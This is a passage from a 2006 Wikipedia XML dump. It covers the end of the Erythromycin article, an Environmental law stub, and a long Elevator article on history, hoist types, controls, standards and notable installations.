|align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot;|&lt;font size=&quot;-1&quot;&gt;(3R*, 4S*, 5S*, 6R*, 7R*, 9R*, 11R*, 12R*, 13S*, 14R*)-4-((2,6-Dideoxy-3-C-methyl-3-O-methyl-a-L- ribo- hexopyranosyl) -oxy) -14- ethyl-7,12,13- trihydroxy - 3,5,7,9,11,13-hexa methyl-6- ((3,4,6-trideoxy-3-(dimethylamino)-b-D-xylo- hexopyranosyl)oxy)oxacyclotetradecane-2,10-dione&lt;/font&gt;
|-
|bgcolor=&quot;#efefef&quot;|[[Molecular mass | Molecular Weight]]
|bgcolor=&quot;#dfefff&quot;|733.93
|-
|bgcolor=&quot;#efefef&quot;|Empiric Formula
|bgcolor=&quot;#dfefff&quot;|C&lt;sub&gt;37&lt;/sub&gt;H&lt;sub&gt;67&lt;/sub&gt;NO&lt;sub&gt;13&lt;/sub&gt;
|-
|bgcolor=&quot;#efefef&quot;|[[ATC code]]
|bgcolor=&quot;#dfefff&quot;|J01FA01
|-
|bgcolor=&quot;#efefef&quot;|Metabolism
|bgcolor=&quot;#dfefff&quot;|Liver
|-
|bgcolor=&quot;#efefef&quot;|[[Pregnancy category (pharmaceutical) | Pregnancy category]]
|bgcolor=&quot;#dfefff&quot;|B ([[United States|USA]]) &lt;br /&gt; A ([[Australia|Aus]])
|}
== History ==
Abelardo Aguilar, a Filipino scientist, sent some soil samples to his employer [[Eli Lilly and Company|Eli Lilly]] in [[1949]]. Eli Lilly&amp;#8217;s research team, led by J. M. McGuire, managed to isolate Erythromycin from the metabolic products of a strain of ''Streptomyces erythreus'' found in the samples. The product was subsequently launched in [[1952]] under the brand name '''Ilosone&amp;reg;''' (after the [[Philippines|Philippine]] region of [[Iloilo]] where it was originally collected from). Erythromycin was formerly also called '''Ilotycin&amp;reg;'''. In 1981, Nobel laurate (1965 in chemistry) and Professor of Chemistry at [[Harvard University]] ([[Cambridge, MA]]) [[Robert Burns Woodward|Robert B. Woodward]] and a large team of researchers reported the first stereocontrolled asymmetric chemical synthesis of Erythromycin A.

== Available forms ==
Erythromycin is available in enteric-coated tablets, oral suspensions, ophthalmic solutions, ointments, gels and injections.

== Mechanism of action ==
Erythromycin prevents [[bacterium|bacteria]] from growing, by interfering with their [[protein biosynthesis|protein synthesis]]. Erythromycin binds to the subunit 50S of the bacterial [[ribosome]], and thus inhibits the translation of [[peptide]]s.

== Pharmacokinetics ==
Erythromycin is easily inactivated by gastric acids, therefore all orally administered formulations are given as either enteric coated or as more stable salts or [[ester]]s. Erythromycin is very rapidly absorbed, and diffused into most tissues and [[phagocyte]]s. Due to the high concentration in phagocytes, erythromycin is actively transported to the site of infection, where during active phagocytosis, large concentrations of erythromycin are released.

== Metabolism ==
Most of erythromycin is metabolised by demethylation in the liver. Its main elimination route is in the bile, and a small portion in the urine. Erythromycin's half-life is 1.5 hours.

== Side-effects ==
Gastrointestinal intestinal disturbances such as [[diarrhea]], [[nausea]], [[abdominal pain]] and [[vomiting]] are fairly common so it tends not to be prescribed as a first-line drug. More serious side-effects, such as reversible [[deafness]] are rare. Allergic reactions, while uncommon, may occur, ranging from [[urticaria]] to [[anaphylaxis]].  [[Cholestatic]] [[jaundice]], [[Stevens-Johnson syndrome]] and [[toxic epidermal necrolysis]] are some other rare side effects that may occur.

Erythromycin has been shown to increase the probability of [[pyloric stenosis]] in children whose mothers took the drug during the late stages of pregnancy or while nursing.

== Contraindications ==
Earlier case reports on sudden death prompted a study on a large cohort that confirmed a link between erythromycin, [[ventricular tachycardia]] and sudden cardiac death in patients also taking drugs that prolong the metabolism of erythromycin (like [[verapamil]] or [[diltiazem]]) by interfering with [[CYP3A4]] (Ray ''et al'' 2004). Hence, erythromycin should not be administered in patients using these drugs, or drugs that also prolong the QT time. Other examples include [[terfenadine]] (Seldane, Seldane-D), [[astemizole]] (Hismanal), [[cisapride]] (Propulsid, withdrawn in many countries for prolonging the QT time) and [[pimozide]] (Orap).

==References==
* Ray WA, Murray KT, Meredith S, Narasimhulu SS, Hall K, Stein CM. Oral Erythromycin and the Risk of Sudden Death from Cardiac Causes. [[N Engl J Med]] 2004;351:1089-96.
* British National Formulary &quot;BNF 49&quot; March 2005.

[[Category:Macrolide antibiotics]]

[[de:Erythromycin]]
[[fr:Érythromycine]]
[[no:Erythromycin]]
[[nn:Erythromycin]]
[[th:อิริโทรมัยซิน]]
[[tr:Eritromisin]]</text>
    </revision>
  </page>
  <page>
    <title>Environmental law</title>
    <id>10091</id>
    <revision>
      <id>41770462</id>
      <timestamp>2006-03-01T16:57:24Z</timestamp>
      <contributor>
        <username>Ctj</username>
        <id>717240</id>
      </contributor>
      <minor />
      <comment>preventative -&gt; preventive, and not always called env. impact. ass'ments</comment>
      <text xml:space="preserve">'''Environmental law''' is a body of [[law]], which is a system of complex and interlocking rules, regulations and policies which seeks to protect the [[natural environment]] which may be affected, impacted or even endangered by human activities. Most environmental laws regulate the quantity and nature of impacts of human activities: for example, setting allowable levels of [[pollution]]. Other environmental laws are preventive in nature and seek to assess the possible impacts before the human activities can occur. This area of law is sometimes known as ''environmental impact assessment''.

==See also==
*[[United States environmental law]]
*[[environmental agreements]]
*[[environmental impact statement]]
*[[environmental justice]]
*[[international environmental law]]
*[[property rights]]
*[[taking]]s

==External links==
*[http://www.ielrc.org/ International Environmental Law Research Centre (IELRC)]
*[http://www.law.uoregon.edu/org/llm/ Environmental Law Program and LL.M., University of Oregon]
*[http://www.ciel.org/ Centre for International Environmental Law]
*[http://www.lead-journal.org/ Law, Environment and Development Journal (LEAD Journal)]
*[http://www.elc.org.uk/ Environmental Law Centre (ELC)]
*[http://www.elaw.org/ Environmental Law Alliance Worldwide(E-LAW)]
{{Environmental science}}
{{law-stub}}
[[Category:Environmental law|*]]

[[de:Umweltrecht]]
[[es:Derecho ambiental]]
[[fr:Droit de l'environnement]]
[[nl:Milieuwetgeving in Nederland]]
[[ja:環境法]]
[[pt:Direito ambiental]]</text>
    </revision>
  </page>
  <page>
    <title>Elevator</title>
    <id>10092</id>
    <revision>
      <id>41545476</id>
      <timestamp>2006-02-28T01:43:56Z</timestamp>
      <contributor>
        <ip>209.120.230.238</ip>
      </contributor>
      <comment>/* Modern elevator construction */</comment>
      <text xml:space="preserve">:''This article is about the transport device. For other meanings of the word, see [[elevator (disambiguation)]].''

[[Image:Elevator buttons.jpg|right|thumb|A modern elevator has buttons to allow passengers to select the desired floor.]]
{{wiktionary}}
An '''elevator''' is a [[transport]] device used to move goods or people vertically. In [[American and British English differences|British English]] and [[Commonwealth English]]  (except Canadian), elevators are known more commonly as '''lifts''', although the word ''elevator'' is familiar from American [[film|movies]] and [[television]] shows, just as some [[United States of America|American]]s are aware of ''lift'' from imported entertainment. Other languages may have [[loanword]]s based on either ''elevator'' (e.g. [[Japanese language|Japanese]]) or ''lift'' (e.g. [[Standard Cantonese|Cantonese]]). Because of wheelchair access laws, elevators are often a requirement in new buildings with multiple floors.

==History==
Elevators began as simple [[rope]] or [[chain]] [[hoist]]s. An elevator is essentially a platform that is either pulled or pushed up by a mechanical means. A modern day elevator consists of a cab (also called a &quot;cage&quot; or &quot;car&quot;) mounted on a platform within an enclosed space called a shaft or more correctly a &quot;hoistway&quot;. In the past elevator drive mechanisms were powered by steam and water hydraulic pistons.

In a &quot;traction&quot; elevator, cars are pulled up by means of rolling steel ropes over a deeply grooved [[pulley]], commonly called a sheave in the industry. The weight of the car is balanced with a counterweight. The friction between the ropes and the pulley furnishes the traction which gives this type of elevator its name.

Hydraulic elevators use the principal of [[hydraulics]] to pressurize an above ground or in-ground piston to raise and lower the car. Roped Hydraulics use a combination of both ropes and hydraulic power to raise and lower cars. Recent innovations include permanent earth magnet motors, machine room-less rail mounted gearless machines, and microprocessor controls. 

Which technology is used in new installations depends on a variety of factors. Hydraulic elevators are cheaper, but installing cylinders greater than a certain length becomes impractical for very high lift hoistways. For buildings of much over seven stories, traction elevators must be employed instead. Hydraulic elevators are usually slower than traction elevators.

[[Image:ElevatorPatentOtis1861.jpg|thumb|left|300px|Elisha Otis's elevator patent drawing, [[15 January]] [[1861]].]]

In 1823, an &quot;ascending room&quot; made its debut in London[http://www.popularmechanics.com/science/extreme_machines/1280851.html].

In [[1853]], [[Elisha Otis]] introduced the safety elevator, which prevented the fall of the cab if the cable broke. The design of the OTIS safety is somewhat similar to one type still used today. It consists of knurled roller(s) that lock the elevator to its guides should the elevator descend at an excessive speed, which is monitored by a governor device. 

On [[March 23]], [[1857]] the first Otis elevator was installed at 488 [[Broadway (Manhattan)|Broadway]] in [[New York, New York|New York City]]. The first '''elevator shaft''' preceded the first elevator by four years. Construction for [[Peter Cooper]]'s [[Cooper Union]] building in [[history of New York City|New York]] began in 1853. An elevator shaft was included in the design for Cooper Union, because Cooper was utterly confident a safe passenger elevator would soon be invented; the shaft however was circular because Cooper felt it was the most efficient design. Later Otis designed a special elevator for the school. Today the [[Otis Elevator Company]], now a subsidiary of [[United Technologies Corporation]], is the world's largest manufacturer of vertical transport systems, followed by Schindler, Thyssen-Krupp and Kone, in order.

The first electric elevator was built by [[Ernst Werner von Siemens|Werner von Siemens]] in [[1880]]. The safety and speed of electric elevators were significantly enhanced by [[Frank J. Sprague|Frank Sprague]].

The development of elevators was led by the need for movement of large amounts of raw materials including [[coal]] and [[lumber]] from hillsides. The technology developed by these industries and the introduction of steel beam construction worked together to provide the need for the passenger and freight elevators we use today.

==Modern elevator construction== 
Today, elevators are built under strict supervision of the Building Codes. Model Codes which are the standard in most US jurisdictions require compliance with the American Society of Mechanical Engineers' (ASME) standards for the installation, maintenance, and inspection of elevators. In Canada, the governing authority is the CSA (Candadian Standards Association). In addition other related standards are likely required to be complied with as specified by Local Authorities Having Jurisdiction.

Elevators are generally sold in prepackaged components which are inherently non-proprietary. All of the four major manufacturers sell proprietary [[microprocessor]] controls. Each manufacturer provides similar product designs, and the overriding issue for purchase is usually price and availability. In the case of renovations, the use of non-proprietary controls has become a large part of that business because it allows the owner to offer the maintenance contract to multiple bidders rather than accept a single manufacturer for the life of the elevator which can be more than 30 years. In some large campus type properties, the use of non-proprietary equipment in new construction has replaced the standard prepackaged product. Non-proprietary systems generally have a higher up front cost, but may be offset by allowing the owner to control the long term costs over the life of the elevator. 

In some locations, the shaft and parts of the cab are made of transparent material for specialized &quot;Scenic elevators.&quot; This allows riders to see outside the cab as they travel on the elevator. Some locations take advantage of this transparent material by placing the elevators along the walls of their building. This allows riders to see the outdoor environment as the cab runs along the side of the buildings.

Today, all new elevators are computer-controlled and microprocessor based. This allows the elevator system to place cabs where they are most needed in the interest of smooth running, with behavior based on analysis of building use called &quot;Traffic Studies.&quot; Traffic Studies are done by professional [[elevator consultant]]s who use specialized tools to determine the optimum size, speed and number of elevators for a building based on its peak use periods. Computer control also permits greater control of access to various floors of a building after hours and on weekends. Methods of access control include card readers, keys, and access codes entered into the control panel of the elevator.

Elevators are usually installed in a building during construction. Renovations may consist of replacements for hoistway (floor landing) doors, car doors, interior cab finishes, controls, hoist machines, hydraulic pistons and hall fixtures. At times renovations may also include replacement of the entire cab itself. In many instances the upgrading of components may require additional code compliance, these issues should be reviewed with an elevator consultant prior to the purchasing of new materials.

==Elevator safety== 
Elevators are extremely safe. Their safety record, that of moving millions of passengers every day, without incident, is unsurpassed by any other vehicle system. Recently, however, hydraulic elevators that were built prior to a code change in 1972 have been found to be subject to possible [[catastrophic failure]]. The code had previously required only single-bottom [[hydraulic cylinder]]s; in the event of a breach of the cylinder, an uncontrolled fall of the elevator might result. Because it is impossible to verify the system completely without a pressurized casing (as described below), it is necessary to actually remove the piston to inspect it. The cost of removing the piston is such that it makes no economical sense to re-install the old cylinder, and therefore it is logically necessary to install a new elevator.

In addition to the safety concerns for older hydraulic elevators, there is risk of leaking hydraulic oil into the aquifer and causing potential environmental contamination. This has led to the introduction of [[Polyvinyl chloride|PVC]] liners (casings) around hydraulic cylinders which can be monitored for integrity. Recent innovations called machine room-less elevators may soon make the use of hydraulic elevators obsolete.

==Uses of elevators==
===Passenger service===
A passenger elevator is designed to carry people and small packages.

===Passenger elevator capacity===
Passenger elevators capacity is related to the available floor space. Generally passenger elevators are available in typical capacities from 1,500 to 5,000 lb (680 to 2,300 kg) in 500 lb (230 kg) increments. Generally passenger elevators in buildings four stories or less are hydraulic. In buildings up to ten stories, electric elevators are likely to have speeds up to 300 ft/min (1.5 m/s), and above ten stories speeds begin at 500 ft/min (2.5 m/s) up to about 1200 ft/min (6 m/s).

===Types of passenger elevators===
Passenger elevators may be specialized for the service they perform, including: Hospital emergency (Code blue), front and rear entrances, [[Double-deck elevator|double decker]], and other uses. Cars may be ornate in their interior appearance, may have audio visual advertising, and may be provided with specialized recorded voice instructions. The concern for entrapping passengers requires all elevators to have communication connection to an outside 24 hour emergency service, automatic recall capability in a fire emergency, and special access for [[fire station|fire department]] use in a fire. Elevators are not an acceptable means of escape during a fire and should not be used by the public for this purpose. Signs are required in almost all US jurisdictions to &quot;USE STAIRS IN CASE OF FIRE.&quot;
Residential elevators may be small enough for one person while some are large enough for more than a dozen.
Wheelchair, or platform lifts, a specialized type of elevator designed to move a [[wheelchair]] 6 ft (2 m) or less, often can accommodate just one person in a wheelchair at a time with a maximum load of 750 lb ('''340 kg''').

===Freight elevators===
[[Image:Alter Elbtunnel - Autoaufzug.jpg|thumb|[[Old Elbe tunnel]] automobile lift]]
A ''freight elevator'' is an elevator designed to carry goods, rather than passengers. (Passengers often accompany the freight, however.) Freight elevators are often exempt from some code requirements. Freight Elevators or Service elevators may be exempt from some of the requirements for fire service. However, new installations would likely be required to comply with these requirements. Freight elevators are generally required to display a written notice in the car that the use by passengers is prohibited, though certain freight elevators allow dual use through the use of an [[inconspicuous riser]].
Freight elevators are typically larger and capable of carrying heavier loads than a passenger elevator, generally from 2,300 to 4,500 kg. Freight Elevators may have manually operated doors, and often have rugged interior finishes to prevent damage while loading and unloading. Although hydraulic freight elevators exist, electric elevators are more energy efficient for the work of freight lifting. 
A small freight elevator is often called a [[dumb waiter]] (see next section), often used for the moving of small items such as dishes in a 2-story kitchen or books in a multi-story rack assembly. Passengers are never permitted on dumbwaiters. A specialized type of freight elevator is an ''Automobile Lift'', used to move automobiles around a parking garage or other facility. Stage and Orchestra lifts are specialized lifts for use in the performing arts, and are often exempt from some requirements. Local jurisdictions may govern their use, installation and testing, however they are often left out of local code enforcement provisions due to their infrequent installation.

===Dumb waiter===
A small box elevator designed for the carriage of lightweight freight is called a dumb waiter (or ''dumbwaiter''). Dumbwaiters are required to comply with ASME A18.1 in most US and Canadian Jurisdictions. 
Dumbwaiters are generally driven by a small electric motor with a counterweight and their capacity is limited to about 750 lb (340 kg). They may also be hand operated using a roped pulley. Dumbwaiters are used extensively in the restaurant business (hence the name) and may also be used as book lifts in libraries, or to transport mail or similar items in an office tower. They can withstand heavy loads of up to 800 Lb pounds, that comply with the ASME A18.2

===Material handling belts===
A different kind of '''elevator''' is used to transport material. It generally consists of an inclined plane on which a conveyor belt runs. The conveyor often includes partitions to prevent the material from sliding backwards. These elevators are often used in industrial and agricultural applications.
When such mechanisms (or spiral screws or pneumatic transport) are used to elevate grain for storage in large vertical silos, the entire structure is called a [[grain elevator]].

==Types of elevator hoist mechanisms==
[[Image:Hospital Elevator.jpg|thumb|right|Elevator in a hospital]]
In general, there are three means of moving an elevator:

===Traction elevators===
*''Geared and gearless traction elevators'' 
Geared Traction machines are driven by AC or DC electric motors. Geared machines use worm gears to mechanically control movement of elevator cars by &quot;rolling&quot; steel hoist ropes over a drive sheave which is attached to a gearbox driven by a high speed motor. These machines are generally the best option for basement or overhead traction use for speeds up to 350 ft/min (1.8 m/s).
Gearless Traction machines are low speed, high torque electric motors powered by AC or DC current. In this case, the drive sheave is directly attached to the end of the motor. A brake is mounted between the motor and drive sheave (or gearbox) to hold the elevator stationary at a floor. This brake is usually an external drum type and is actuated by spring force and held open electrically; a power failure will cause the brake to hold the elevator in position.
In each case, cables are attached to a hitch plate on top of the cab or may be &quot;underslung&quot; below a cab, and then looped over the drive sheave to a counterweight attached to the opposite end of the cables which reduces the amount of power needed to move the cab. The counterweight is located in the hoistway and rides a separate rail system; as the car goes up, the counterweight goes down, and vice versa. This action is powered by the traction machine which is directed by the controller, typically a relay logic or computerized device that directs starting, acceleration, deceleration and stopping of the elevator cab. The weight of the counterweight is typically equal to the weight of the elevator cab plus 40 to 50 % of the capacity of the elevator. The grooves in the drive sheave are specially designed to prevent the cables from slipping. &quot;Traction&quot; is provided to the ropes by the grip of the grooves in the sheave. As the ropes age and the traction grooves wear, some traction is lost and the ropes must be replaced and the sheave repaired or replaced. 
Some elevators have a system called compensation. This is a separate set of cables or a chain attached to the bottom of the counterweight and the bottom of the elevator cab. This makes it easier to control the elevator because the weight will fluctuate less over the entire system. If the elevator cab is at the top of the hoistway, there is a short length of hoist cable above the car and a long length of compensating cable below the car and vice versa for the counterweight. If the compensation is cables there is an additional sheave in the pit below the elevator, to guide the cables. If the compensation is a chain, the chain is guided by a bar mounted between the counterweight rails.

===Hydraulic type===
*''Conventional Hydraulic'' elevators are quite common for low and medium rise buildings (2-5 stories). They use a hydraulically powered plunger to push the elevator upwards. On some, the hydraulic piston (plunger) consists of telescoping concentric tubes, allowing a shallow tube to contain the mechanism below the lowest floor. On others, the piston requires a deeper hole below the bottom landing, usually with a PVC casing (also known as a [[Caisson (engineering)|caisson]]) for protection.
*''Roped hydraulic.''
*''Twin post hydraulic''
*''Holeless hydraulic'' elevators do not require holes to be dug for the hydraulic cylinder. In one [http://www.otis.com/products/detail/0,1355,CLI1_PRD735_PRT30_PST46_RES1,00.html design] manufactured by [[Otis Elevator Company|Otis]], the cab is lifted by a pair of hydraulic jacks, one on each side of the elevator.

===Climbing elevator===
A climbing elevator is a self-ascending elevator with its own propulsion. The propulsion can be done by an electric or a combustion engine. Climbing elevators are used in guyed masts or towers, in order to make easy access to parts of these constructions, such as flight safety lamps for maintenance.

==='''Paternoster'''===
[[Image:PaternosterBerlin.JPG|right|thumb|A paternoster in [[Berlin]] from the 1970s]]
A special type of elevator is the [[paternoster]], a constantly moving chain of boxes. A similar concept moves only a small platform, which the rider mounts while using a handhold and was once seen in multi-story industrial plants.

==Controlling elevators==
===General controls===
A typical modern passenger elevator will have:
*Call buttons to choose a floor. Some of these may be key switches (to control access). In some elevators, certain floors are inaccessible unless one swipes a security card or enters a passcode (or both).
*''Door open'' and ''door close'' buttons to instruct the elevator to close immediately or remain open longer. In some elevators, holding the door open for too long will trigger an audible alarm (This alarm might confuse some people to think that the elevator is overloaded).
*A stop switch (this is not allowed under British regulations) to halt the elevator (often used to hold an elevator open while freight is loaded). Keeping an elevator stopped for too long may trigger an alarm. Often, this will be a [[key switch]].
*An alarm button or switch, which passengers can use to signal that they have been trapped in the elevator.

Some elevators may have one or more of the following:
*An elevator [[telephone]], which can be used (in addition to the alarm) by a trapped passenger to call for help.
*A [[firefighter|fireman]]'s key switch, which places the elevator in a special operating mode designed to aid firefighters.
*A ''medical emergency'' key switch, which places the elevator in a special operating mode designed to aid medical personnel.
*[[RFID]] card access: Elevators in modern buildings incorporate security features to control / prevent unauthorized floor access. Call buttons don't register until an authorized card is detected.
*Hold button: Larger elevators used for freight and hospital beds have an appropriately named button that &quot;holds&quot; the door open longer.

Other controls, which are generally inaccessible to the public (either because they are [[key switch]]es, or because they are kept behind a locked panel, include:
*Switches to control the lights and ventilation [[Fan (implement)|fans]] in the elevator. 
*An ''inspector's'' switch, which places the elevator in inspection mode (this may be situated on top of the elevator)
*An ''independent service'' switch, which selects whether the elevator's operation will be coordinated with other elevators in an elevator bank.
*Up and down buttons, to move the car up and down without selecting a specific floor. Some older elevators can only be operated this way. 

====Controls in early elevators====
* Some older freight elevators are controlled by switches operated by pulling on adjacent ropes. Safety interlocks ensure that the inner and outer doors are closed before the elevator is allowed to move.
*Early elevators had no automatic landing positioning. Elevators were operated by [[elevator operator]]s using a motor controller. The controller was contained within a cylindrical container about the size and shape of a cake container and this was operated via a projecting handle. This allowed some control over the energy supplied to the motor (located at the top of the elevator shaft or beside the bottom of the elevator shaft) and so enabled the elevator to be accurately positioned &amp;mdash; if the operator was sufficiently skilled. More typically the operator would have to &quot;jog&quot; the control to get the elevator reasonably close to the landing point and then direct the outgoing and incoming passengers to &quot;watch the step&quot;. After stopping at the landing the operator would open the door/doors. Manually operated elevators were generally refitted or the cabs replaced by automatic equipment by the [[1950s]].
*Large buildings with multiple elevators of this type would also have an ''elevator dispatcher'' stationed in the lobby to direct passengers and to signal the operator to leave with the use of a mechanical &quot;cricket&quot; noisemaker.
*Some elevators still in operation have pushbutton manual controls; an example is in a thumbnail on this page. [[Image:mit-old-elevator-panel.jpg|thumb|Manual pushbutton elevator controls.]].

===Floor numbering===
{{see|Floor numbering}}

===The elevator algorithm===
The [[elevator algorithm]], a simple [[algorithm]] by which a single elevator can decide where to stop, is summarized as follows:
* Continue travelling in the same direction while there are remaining requests in that same direction. 
* If there are no further requests in that direction, then stop and become idle, or change direction if there are requests in the opposite direction.
The elevator algorithm has found an application in computer [[operating system]]s as an algorithm for scheduling [[hard disk]] requests.
Modern elevators use more complex [[Heuristic (computer science)|heuristic algorithms]] to decide which request to service next.

===Computer dispatched===
Efficiencies of multiple elevators installed in an office building may increase if a central dispatcher is used to group passengers going to the same floor to the same elevator. In buildings with these computer-dispatched elevator system, passengers key in their destination floor in a central dispatch panel located at the building lobby. The dispatch panel will then tell the passenger which elevator to use. Inside the elevator there is no call button to push (or the buttons are there but they cannot be pushed, they only indicate stopping floors). Manufacturers of such systems claim that average travelling time can be reduced by up to 30%. Sometimes, however, one person enters the destination for a large group of people going to the same floor. The dispatching algorithm is usually unable to completely cater for the variation, and late comers may find the elevator they are assigned to is already full.

===Special operating modes===
====Up peak====
During Up Peak mode, elevator cars in a group are recalled to the lobby to provide expeditious service to passengers arriving at the building, most typically in the morning as people arrive for work or at the conclusion of a lunch-time period.  Elevators are dispatched one-by-one when they reach a pre-determined passenger load, or when they have had their doors opened for a certain period of time.  The next elevator to be dispatched usually has its hall lantern or a &quot;this car leaving next&quot; sign illuminated to encourage passengers to make maximum use of the available elevator system capacity.

The commencement of Up Peak may be triggered by a time clock, by the departure of a certain number of fully loaded cars leaving the lobby within a given time period, or by a switch manually operated by a building attendant.

====Down peak====
During Down Peak mode, elevator cars in a group are sent away from the lobby towards the highest floor served, after which they commence running down the floors in response to hall calls placed by passengers wishing to leave the building.  This allows the elevator system to provide maximum passenger handling capacity for people leaving the building.

The commencement of Down peak may be triggered by a time clock, by the arrival of a certain number of fully loaded cars at the lobby within a given time period, or by a switch manually operated by a building attendant.

====Sabbath service====
In areas with large populations of observant [[Jew]]s, one may find a &quot;Sabbath Elevator&quot;. In this mode, an elevator will stop automatically at every floor, allowing people to step on and off without having to press any buttons. [[Regenerative brake|Regenerative braking]] is also disabled if it is normally used, shunting energy collected from downward travel, and thus the gravitational [[potential energy]] of passengers, into a [[resistor]] network. This prevents violation of the [[Sabbath]] prohibition against doing useful work.

====Independent service====
Independent Service is a special service mode found on most elevators. It is activated by a key switch either inside the elevator itself or on a centralised control panel. When an elevator is placed on independent service, it will no longer respond to hall calls. (In a bank of elevators, traffic would be rerouted to the other elevators, while in a single elevator, the hall buttons will be disabled). The elevator will remain parked on a floor with its doors open until a floor is selected and the door close button is held until the elevator starts to travel. Independent Service is useful when transporting large goods or moving groups of people between certain floors.

==Standards==
The mechanical, electrical and operational design of elevators are dictated according to various standards (aka elevator codes), which may typically be international, national, state, regional or city based.  Where once many standards were prescriptive, specifying exact criteria which must be complied with, there has been a shift towards more performance-based standards where the onus falls on the designer to ensure that the elevator meets or exceeds the standard.

Some of the national elevator standards include:

* Australia - AS1735
* Canada - CAN/CSA B44
* Europe - EN81
* USA - ASME A17

Because an elevator is part of a building, it must also comply with standards relating to earthquake resilience, fire standards, electrical wiring rules and so forth.

Additional requirements relating to access by disabled persons, may be mandated by laws or regulations such as the [[Americans with Disabilities Act]]

&lt;!--Finland elevator standard specifics HAVE BEEN SUPERSEDED BY EU REGULATIONS; ADD THIS INSTEAD--&gt;

===US and Canadian elevator standard specifics===
Passenger elevators are required to conform to the American Society of Mechanical Engineer's Standard A17.1 Safety Code for Elevators and Escalators in most US and Canadian Jurisdictions (In Canada the document is the CAN/CSA B44 Safety Standard which was harmonized with the US version in the [[2000]] edition.) In addition passenger elevators may be required to conform to the requirements of A17.3 for existing elevators where referenced by the Local Jurisdiction. Passenger elevators are tested using the ASME A17.2 Standard. The frequency of these tests is mandated by the Local Jurisdiction, which may be a town, city, or state standard. 

Passenger elevators must also conform to many ancillary building codes including the Local or State building code, [[National Fire Protection Association]] standards for Electrical, Fire Sprinklers and Fire Alarms, Plumbing codes, and [[HVAC]] codes. In addition passenger elevators are required to conform to the American's with Disabilities Act and other State and Federal civil rights legislation regarding accessibility.

Residential elevators are required to conform to ASME A17.1
Platform and Wheelchair lifts are required to comply with ASME A18.1 in most US Jurisdictions.

== Unique elevator systems ==

=== Elevators at the Eiffel Tower ===

The Eiffel Tower has double-deck elevators built into the legs of the tower, serving the ground level to the first and second levels. Even though the shaft runs diagonally upwards with the contour of the tower, both the upper and lower cars remain horizontally level. The offset distance of the two cars changes throughout the journey. 

There are four elevator cars of the traditional design that run from the second level to the third level. The cars are connected to their opposite pairs (opposite in the elevator landing/hall) and use each other as the &quot;counterweight&quot;. As one car ascends from level 2, the other descends from level 3. The operations of these elevators are synchronized by a light signal in the car.

=== Taipei 101 Elevators ===
It is worth noting that Taipei 101 uses double deck elevators to service the main building tenants, although it is not the first of such implementations.

The observation deck elevators ascend the tower at a top speed of 1,010 meters per minute. A ride from the 5th floor entrance to the 89th floor observation deck lasts a mere 37 seconds! It is equipped with cabin pressure control systems to alleviate pains that would result from sudden changes in pressure. The car and its counterweight are shaped like a bullet-train to minimize travelling noise. The cabin features a graphic display that shows current floor, altitude, vertical speed, a stopwatch timer, and an image of the main building, on which a red dot traces the car's relative position.

=== The Gateway Arch ===
[[Image:GatewayArchTramCar.jpg|thumb|200px|The interior of one of the Gateway Arch tramway cars]]
{{main|Gateway Arch}}

The Gateway Arch in [[Saint Louis, Missouri]] has a unique elevator system which carries passengers from the visitors center underneath the Arch to the observation deck at the top of the structure.

Called a ''tram'' or ''tramway'', people enter this unique [[tramway]] much as one would enter an ordinary elevator, through double doors. Passing through the doors the passengers in small groups enter a horizontal cylindrical compartment containing seats on each side and a flat floor. A number of these compartments are linked to form a train. These compartments each individually retain an appropriate level orientation by tilting while the entire train follows curved tracks up one leg of the arch.

There are two tramways within the Arch, one at the north end, and the other at the south end. The entry doors have windows, so people traveling within the Arch are able to see the interior structure of the Arch during the ride to and from the observation deck.

[[Image:ElevatorShaftHannoverNewCityHallLookingUp.jpg|thumb|left|200px|View up the shaft of the elevator at the new city hall, Hannover, Germany.]]

=== New city hall, Hanover, Germany  ===
[[Image:ElevatorHannoverNewCityHallSketch.png|thumb|right|100px|Sketch of the elevator at the new city hall, Hannover, Germany,  showing the cabin both at the bottom and the top]]

The elevator in the new city hall in [[Hanover]], [[Germany]] is a technical rarity, and unique in [[Europe]], as the elevator starts straight up but then changes its angle by 15 degrees to follow the contour of the dome of the hall. The cabin therefore tilts 15 degrees during the ride. The elevator travels a height of 43 meters. The new city hall was built in 1913. The elevator was destroyed in [[1943]] and rebuilt in [[1954]].

=== Luxor Inclinator ===
In [[Las Vegas, Nevada]], at the Luxor [[Casino]], is the Inclinator.  The shape of this casino is a [[pyramid]].  Therefore, the elevator travels up the side of the pyramid at a 39 degree angle.

{{section-stub}}

&lt;br clear=left&gt;

=== &quot;Top of the Rock&quot; elevators ===
Guests ascending to the 67th, 69th, and 70th level observation decks (dubbed &quot;Top of the Rock&quot;) atop the [[GE Building]] at [[Rockefeller Center]] in [[New York City]] ride a high-speed glass-top elevator.  When entering the cab, it appears to be any normal elevator ride.  However, once the cab begins moving, the interior lights turn off and a special blue light above the cab turns on.  This lights the entire shaft, so riders can see the moving cab through its glass ceiling as it rises and lowers through the shaft.  Music plays and various animations are also displayed on the ceiling.  The entire ride takes about 60 seconds.

&lt;!-- The [[Fourth Street Elevator]] in Iowa, is not, despite its name, an elevator in the modern sense; it is a [[funicular]] railway. Please do not re-add it; there are many similar funicular railways in the world, and it is thus not &quot;unique&quot;. --&gt;

==Manufacturers of elevators==

*[[American Elevator Co]]
*[[AMTECH]] Elevator Services
*[[Express Lifts]] [[Northampton]]
*[[Fujitec]]
*[[Kleemann]]
*[[Kone Corporation|KONE]]
*[[Mitsubishi]] Elevator/Escalator Division 
*[[North American Elevator Services]]
*[[Otis Elevator Company|Otis]]
*[[Schindler Group]]
*[[The Elevator Contractors of America]]
*[[Toshiba Elevator and Building Systems Corporation]]
*[[ThyssenKrupp]]

==Test facilities==
There are special towers for testing elevators as the [[Express Lift Tower]] in Northhampton, UK.

==See also==
*[[Escalator]]
*[[Grain elevator]]
*[[Elevator music]]
*[[Elevator paradox]]
*[[Space elevator]]
*[[Elevator surfing]]
*[[Double-deck elevator]]

==References==
*Manavalan, Theresa ([[30 October]] [[2005]]). &quot;Don't let them ride alone&quot;. ''[[New Straits Times]]'', p. F2.

==External links==
{{commons|Category:Elevators}}
*[http://www.elevatormoods.com Elevator Moods]-Fictional security films of elevator passengers.
*[http://science.howstuffworks.com/elevator.htm Elevators] page from [[Howstuffworks.com]]
